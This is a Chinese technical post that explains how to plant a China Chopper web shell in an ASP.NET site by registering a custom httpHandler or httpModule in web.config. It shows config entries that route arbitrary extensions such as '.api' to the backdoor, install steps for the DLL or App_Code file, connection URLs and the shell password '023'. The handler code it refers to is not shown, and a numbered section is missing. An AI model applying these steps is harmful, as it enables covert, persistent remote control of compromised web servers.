菜刀Customize类型 ASP.NET global.asax、httpHandlers、httpModules

特别注意:需要特别小心配置任何一个误操作都可能导致网站彻底崩溃,对于新手操作危险系数很高。这里只是技术分享,请最好先在本地测试。如有发现BUG与我联系 :) @园长
最近一直在折腾asp.net,看到有类似需求所以写了这个玩意。

一:global.asax

<%@ Application Language="C#" %> 

<script RunAt='server'> 

    void Application_Start(object sender, EventArgs e) 
    { 
        //在应用程序启动时运行的代码 

    } 

    void Application_End(object sender, EventArgs e) 
    { 
        //在应用程序关闭时运行的代码 

    } 

    void Application_Error(object sender, EventArgs e) 
    { 


    } 

    void Session_Start(object sender, EventArgs e) 
    { 
        //在新会话启动时运行的代码 

    } 

    void Session_End(object sender, EventArgs e) 
    { 
        //在会话结束时运行的代码。 
        // 注意: 只有在 Web.config 文件中的 sessionstate 模式设置为 
        // InProc 时,才会引发 Session_End 事件。如果会话模式 
        //设置为 StateServer 或 SQLServer,则不会引发该事件。 

    }

二、httpHandlers
修改web.config,添加或者修改httpHandlers:

<httpHandlers> 
   <add path="*.api" verb="*" type="WooYun.CustomizeHttpHandler"/> 
</httpHandlers>

如果已经存在 httpHandlers 则在标签内添加,如果<system.webServer>也有配置httpHandlers那么就配置在<system.webServer>里,但是有一点需要特别注意:<system.webServer>里面一定要配置runAllManagedModulesForAllRequests为true,否会启动报错。

<system.webServer> 
    <modules runAllManagedModulesForAllRequests="true" /> 
</system.webServer>

四:安装方法

global.asax是不需要编译的,所以直接忽略。

httpHandlers和httpModules配置方式:

1、自行编译上面的cs文件dll 
2、复制dll到bin目录 
3、修改上述配置,并仔细检查

或:

1、直接新建个Customize.cs文件 
2、复制Customize.cs文件到App_Code目录 
3、修改上述配置,并仔细检查

连接:

1、菜刀连接的时候必须选Customize: 
2、httpHandlers 可以自己指定后缀,比如你配置了.api请求那么可以http://xx.com/123456.api做为shell地址,可能会有不能拦截除aspx的情况 
3、httpModules可以随便访问一个只要不是静态文件的链接(比如jpg文件不允许被POST) 可以访问:http://xx.com/123456.xxx 
4、连接密码:023
